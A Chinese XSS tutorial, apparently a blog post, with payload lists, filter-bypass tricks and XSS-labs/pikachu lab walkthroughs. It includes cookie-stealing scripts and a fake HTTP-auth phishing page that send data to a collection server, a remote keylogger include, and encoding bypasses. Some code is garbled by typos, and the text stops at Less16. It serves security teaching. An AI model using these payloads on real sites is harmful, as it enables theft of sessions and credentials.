当前位置: 首页 > news >正文

[Web安全 网络安全]-XSS跨站脚本攻击

文章目录:

一:前言

1.定义

2.漏洞出现的原因

3.鉴别可能存在XSS漏洞的地方

4.攻击原理

5.危害

6.防御

7.环境

7.1 靶场 

7.2 自动扫描工具

7.3 手工测试工具

8.payload是什么

二:常用的标签语法

三:XSS的分类

反射型get

存储型post

DOM型

四:漏洞利用

1.盗取cookie

2.弹窗钓鱼

3.获取键盘记录

4.盲打

五:绕过* 

闭合input标签绕过

鼠标事件过滤

空格绕过

大小写绕过防护

双写绕过防护

标签绕过防护

引号过滤绕过

括号绕过

字符拼接绕过

编码绕过

HTTPOnly绕过

注释http://绕过

隐藏的传参闭合绕过

注入绕过

htmlspecialchars函数 

六:同源和跨域

1.同源

2.跨域

cors跨域

jsonp跨域

七:XSS-labs靶场练习

Less1:url传参

Less2:闭合input标签

Less3:onclick onfocus onblur事件绕过

Less4:onclick onfocus onblur事件绕过闭合

Less5:a href 标签闭合绕过

Less6:大小写绕过

Less7:双写绕过

Less8:unicode属性值编码绕过

Less9:注释http://绕过

Less10:隐藏的传参闭合绕过

Less11:Referer注入

Less12:User Agent注入

Less13:cookie注入

Less14:题有问题

Less15:ng-include文件包涵

Less16:url编码-标签绕过 换行符替换空格绕过

Less17_18:embed标签-鼠标事件闭合绕过

Less19_20:过时


一:前言

1.定义

XSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSXSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript)
当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)

2.漏洞出现的原因

程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害

3.鉴别可能存在XSS漏洞的地方

鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互

4.攻击原理

第一步:攻击者发现正常网站的xss漏洞,注入一段js代码比如location.href="钓鱼网站"第二步:用户通过客户端-浏览器访问这个网站的页面第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站用户输入账号密码发给了钓鱼网站第五步:钓鱼网站将数据保存起来盗取信息

5.危害

1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器)3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包)5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)6.有局限性的键盘记录7.挂马:挂马是指‌黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等获得网站管理员账号,然后登录网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个‌webshell

6.防御

黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等白名单:只允许特定类型或符号编码及转义输出在标签或属性中进行HTML编码输出在script标签或事件中进行JavaScript编码输出在url中进行url编码。cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 )不使用有缺陷的第三方库

7.环境

7.1 靶场 

pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识

XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台

XSS Game:XSS靶场练习

蓝莲花:XSS靶场练习

xss平台:在线平台

7.2 自动扫描工具

APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具

7.3 手工测试工具

Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂

8.payload是什么

Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包 

<script>alert('Zer0Lulz")</script><SCRiPt>AIErT('XSS)</ScRiPt>"><script>alert('XSS')</script>"><SCRiPt>AIErT(XSS')</SCRiPt>=><><script>alert('XSS")</script>=><><ScRiPt>AlErT(XSS’)</ScRiPt>="><script>alert('Xss’)</script>="><ScRiPt>AIErT(XSS")</ScRiPt>='><script>alert('XSS')</script>='><ScRiPt>AIErT(XSS"</ScRiPt>"><<script>alert('XSS’)</script>"><<ScRiPt>AIErT(XSS"</ScRiPt>='><<script>alert(XSS')</script>='><<ScRiPt>AIErT('XSS")</ScRiPt><script>alert(String.fromCharCode(88, 83, 83)</script><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>><script>alert(String.fromCharcode(88,83,83)</script>><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>=><><script>alert(String.fromCharCode(88, 83, 83)</script>=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>="><script>alert(String.fromCharCode(88, 83, 83)</script>="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>='><script>alert(String.fromCharCode(88,83,83)</script>='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
'><img src="#" onmouseover="alter('xss')">

二:常用的标签语法

<script>

<script>alert("xss");</script>

<img>

<img src=1 οnerrοr=alert("xss");>

onerror事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件

<a>'"><a herf='javascript:alter(123)'>百度</a>

<video>

<video><source οnerrοr="alert(1)">

<audio>

<audio src=x  οnerrοr=alert("xss");>

<input>

<input οnfοcus="alert('xss');">

<select>

<select οnfοcus=alert(1)></select>

<iframe>

<iframe οnlοad=alert("xss");></iframe>
<details>使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域
<details open οntοggle="alert('xss');">

<textarea>

<textarea οnfοcus=alert("xss"); autofocus>

三:XSS的分类

反射型get

与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等

(中低威漏洞)——>可用于钓鱼、引流、配合其他漏洞如CSRF等

'"><script>confirm(1)</script>    //'">完成闭合符号
xx'</a><script>confirm(1)</script><a>    //对话框确认取消
xx' onclick="alter(2)">

存储型post

交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面

(高威漏洞)——>攻击范围广,流量传播大,可配合其他漏洞

<?php $name=$_GET['name'];echo "welcome $name<br>";
?>

DOM型

不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞

DM操作:html标签元素节点操作、修改标签属性

DOM型:大部分属于反射型、少部分属于存储型

(中低威漏洞)——>配合长度大小不受限制

document.referer
window.name
location
innerhtml
document.write
非持久型XSS攻击

非持久型xss攻击是一次性的,仅对当次的页面访问产生影响

要求用户访问一个被攻击者篡改后的链接,用户访问该链接时

被植入的攻击脚本被用户游览器执行,从而达到攻击目的

持久型XSS攻击持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在
DOM型XSSDOM型XSS:可能是持久型、也可能是非持久型

四:漏洞利用

1.盗取cookie

GET型:加地址 

'"><script>document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;
</script>

POST型:伪造HTML页面,写好攻击代码逻辑

<head><script>//当浏览器加载完页面所有的内容后自动触发执行window.onload=function(){document .getElenentById("postsubnit").click();}</script>
</head><body>
<form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php"><input id="xssr in" type="text" name="message" value="<script>document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

2.弹窗钓鱼

钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish<script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>

fish.php 

<?phperror reporting(0);// var dump($_SERVER);if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))(//发送认证框,并给出迷感性的infoheader('Content-type:text/html;charset=utf-8');header("wwW-Authenticate:Basic realm认证"");header('HTTP/1.0 401 Unauthorized');echo "Authorization Required.";exit;else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IPheader ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}");
?>

xfish.php

<?phperror reporting(0);include once"../inc/config.inc.php';include once../inc/mysql.inc.php';$link=connect();if(!empty($_GET['username'])&& !empty($_GET['password'])){susernane=$_gET[username'];spassword=$_GET['password"];Sreferer=r";sreferer.=$_SERVER['HTTP REFERER'];Stime=date('Y-m-d q:i:s');$query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime');$result=mysqli_query($link,squery);
?>

3.获取键盘记录

'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)

rkserver.php:取出数据

<?phpinclude once'../inc/config.inc.php';include once'../inc/mysql.inc.php';slink=connect();//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");$data =$_PosT['datax'];$query="insert keypress(data) values('$data')",$result=mysqli_query(slink,squery);
?>

4.盲打

定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的也就是通过前端插入攻击代码,在后台管理系统中生效简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示主要针对后台管理系统'"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>

五:绕过* 

‌alert(123)  alert("Hello, world!")函数:用于在‌浏览器中弹出一个带有指定消息的警告框

confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮

闭合input标签绕过

'"><script>alert('jaden');</script>

鼠标事件过滤

'"onfouces=alter("123")

鼠标事件函数:
    onclick:鼠标点击

    onblur:离开
    onfouces:聚焦
    ondblclick: 鼠标双击
    onmousedown: 鼠标按钮被按下
    onmouseup: 鼠标按钮被释放
    onmousemove: 鼠标被移动
    onmouseover: 鼠标移动到元素上
    onmouseout: 鼠标从元素上移开
    onmouseenter: 鼠标进入元素
    onmouseleave: 鼠标离开元素

空格绕过

当空格被过滤掉时,我们可以用 / 来代替空格:<img/src=x/onerror="alert('xss')">
换行符号替换空格:src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

大小写绕过防护

'"><scRIpt>confirm(1)</scRIpt>
<ImG sRc=x onerRor=alert("xss");>

双写绕过防护

'"><sc<script>ipt>confirm(1)</sc<script>ipt>
<imimgg srsrcc=x onerror=alert("xss");>

标签绕过防护

替换 

 换一个别的标签进行替换:script、a、img、video、audio...

 a href

'"><a herf='javascript:alter(123)'>百度</a>

引号过滤绕过

用反引号代替单双引号<img src=x onerror=alert(`xss`);>

括号绕过

当括号被过滤掉的时候我们可以使用throw来绕过<img src=x onerror="javascript:window.onerror=alert;throw 1">

如果window.onerror的修改被阻止了,那么这里的throw 1只会导致一个未捕获的异常

通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 

字符拼接绕过

利用eval:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top:<script>top["al"+"ert"](`xss`);</script>

编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具 、在线 Unicode 编码转换

url编码绕过

原始SQL注入尝试:1' OR '1'='1
绕过尝试(URL编码):1%27+OR+%271%27%3D%271

 ascii码绕过

如果攻击者发现系统对特定字符进行了过滤,他们可能会尝试使用这些字符的ASCII码值(通过脚本或工具)来生成绕过过滤的输入

十六进制hex绕过

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Hex编码):<script>alert(\x22XSS\x22)</script>

base64绕过

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Base64编码):<img src="x" onerror="eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='))">

js编码

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Unicode编码):<script>alert(\u0058\u0053\u0053)</script>

unicode编码

原始URL:http://example.com/search?q=<script>alert("XSS")</script>
绕过尝试(Unicode编码):http://example.com/search?q=%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0022%u0058%u0053%u0053%u0022%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

HTTPOnly绕过

httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息

第七个参数设置为true 

setcookie('ant[uname]',$_POST['username'],time()+3600, NULL ,NULL ,NULL,TRUE);

注释http://绕过

javascript:alert('jaden')//http://www.baidu.com 

隐藏的传参闭合绕过

'" type='text' onclick='alert(123)'

注入绕过

Referer注入 、User Agent注入、Cookie注入

利用turp抓吧工具,把对应里面的值替换成    '" type='text' onclick='alert(123)'

htmlspecialchars函数 

htmlspecialchars(string,flags,character-set,double_encode)函数 把一些预定义的字符转换为html实体但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以ENT_COMPAT            默认的,仅编码双引号,也就是默认情况下不对单引号进行处理ENT_QUOTES            编码双引号和单引号ENT_NOQUOTES          不编码任何引号预定义字符预定义的字符是:这就是我们学到的html实体编码表&(和号)成为         &amp(双引号)成为        &quot(单引号)成为        &#039<(小于)成为         &lt>(大于)成为         &gt导致你提交的script标签再输出的时候变成了&1tscript&gt不同语言防犯XSS函数PHP    :htmlentities()、htmlspecialchars()Python : cgi.escape()ASP    :Server.HTMLEncode()ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting LibraryJava   :xssprotect(Open Source Library)Node.js: node-validator
php文件如下:把预定义的字符"<”(小于)和">"(大于)转换为 HTML 实体:<?php$str ="This is some <b>bold</b> text."echo htmlspecialchars($str);?>在html输出如下:<htm1><head></head><body>This is some <b>bold</b> text.</body></htm1>浏览器输出如下:This is some <b>bold</b> text.

六:同源和跨域

1.同源

定义:对于js代码来说,为了安全考虑,所有浏览器都约定了“同源策略”同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码非同源的网络请求script的src不受同源机制的影响Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响<script src="...">    //加载js执行<img src="...">       //图片<link href="...">     //css<iframe src="...">    //任意资源<a href="...">        // 超链接地址同源策略修改D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为*既允许所有人访问。一般公司的网站后台都不会设置*号的//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");

2.跨域

什么是跨域http://     www.        jaden.cn     :80        /news/index.php协议        子域名       主域名        端口       资源地址当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域不同域示例:http://www.jaden.cn:80http://www.jaden.cn:81https://www.jaden.cn:80http://www.jadens.cn:80

cors跨域

//设置允许被跨域访问:设置响应头键值对header("Access-Control-Allow-0rigin:*");

jsonp跨域

定义:基于script标签的src属性,发送请求,携带一个回调函数参数            js服务器端调用这个函数携带回调函数参数来响应数据                     php响应回来之后,回调js中声明的这个函数                              js第一个网站PHP:调用发送传值jd_data('aa=1,bb=2');第一个网站JS:执行函数<script src="http//www.jd.com/test.php?callback=jd_data"></script>function jd_data(res){res这个参数就能拿到响应数据}

 jd.html :ajax-jq会发生报错

<htm1><head></head><body><button value='走你'><button></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.querySelector('button').onclick=fuction(){$.aiax({type:'get'.                            // get methodurl:"http://192 168.2 110/test.php'dataType:'jsonp'success':function(res){console.log(res);}})}</script>
</html>

 jd.html利用jsonp代码来实现

<htm1><head></head><body><button value='走你'><button><div id='jd'></div></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.queryselector('button').onclick= function(){var scdocument.createlement('script');sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn';document.body.append(sc);}function fn(data){console.log(data);var diva=document.getElementById('jd');diva.innerHTML=data;}</script>
</html>

test.php 

<?php$fn=$_GET['cb'];                            //fnecho $fn."('username=jd&password=666')";    //fn('username=jd&password=666')
?>

七:XSS-labs靶场练习

Less1:url传参

Load URL地址:192.168.2.106/xss-labs/level1.php?name=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?>确认输出192.168.2.106/xss-labs/level1.php?name=test192.168.2.106/xss-labs/level1.php?name=jaden192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script>192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>

Less2:闭合input标签

Load URL地址:192.168.2.106/xss-labs/level2.php?keyword=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value="'.$str.'">	<input type=submit name=submit value=搜索 /></form></center>";?>确认输出192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>

Less3:onclick onfocus onblur事件绕过

Load URL地址:192.168.2.106/xss-labs/level3.php?writing=wait查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>        //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号<input type=submit name=submit value="搜索"/></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)'        //点击192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)'        //聚焦192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)'         //离开//onblur='alter(123)'        onblur='javascript:alter(123)'192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'

Less4:onclick onfocus onblur事件绕过闭合

Load URL地址:192.168.2.106/xss-labs/level4.php?keyword=try查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)'        //点击192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)'        //聚焦192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)'         //离开192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'

Less5:a href 标签闭合绕过

Load URL地址:192.168.2.106/xss-labs/level5.php?keyword=find查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)'        //O后面加了横杠O_nclick192.168.2.106/xss-labs/level5.php?keyword=find'"<script>                     //'<scr_ipt>192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>

Less6:大小写绕过

Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a>    //href变成了hr_ef192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a>    //href大写

Less7:双写绕过

Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move查看源码<?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a>    ///双写

Less8:unicode属性值编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具 、在线 Unicode 编码转换

Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?>确认输出//href变成了hr_ef;javascript变成了javascr_ipt;123被编码了&quotjaden192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a>  192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden")192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden')    //进行在线编码绕过

Less9:注释http://绕过

Load URL地址:192.168.2.106/xss-labs/level9.php?keyword=not查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?>确认输出192.168.2.106/xss-labs/level9.php?keyword=not jaden                    //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com    //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com     //链接合法192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com      //链接不合法javascript:alert('jaden')//http://www.baidu.com                        //变成javascr_ipt:alert('jaden')//http:////单独对javascript进行编码&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com   

Less10:隐藏的传参闭合绕过

Load URL地址:192.168.2.106/xss-labs/level10.php?keyword=well查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc    //闭合t_sort,发现没有链接192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)'//加type='text'让链接显示出来192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'

Less11:Referer注入

Load URL地址:192.168.2.106/xss-labs/level11.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd    //发现没有闭合掉,但是t_ref里面有值192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ref(referer)里面的值替换成    '" type='text' onclick='alert(123)'

Less12:User Agent注入

Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd    //发现没有闭合掉,但是t_ua里面有值192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成    '" type='text' onclick='alert(123)'

Less13:cookie注入

Load URL地址:192.168.2.106/xss-labs/level13.php?keyword=good查看源码<?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd    //发现没有闭合掉,但是t_cook里面有值192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_cook(cookie)里面的值替换成    '" type='text' onclick='alert(123)'

Less14:题有问题

这一关题有问题直接十五关 

Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good查看源码确认输出

Less15:ng-include文件包涵

AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面) 

Load URL地址:192.168.2.106/xss-labs/level15.php?src=jaden查看源码确认输出192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'

Less16:url编码-标签绕过 换行符替换空格绕过

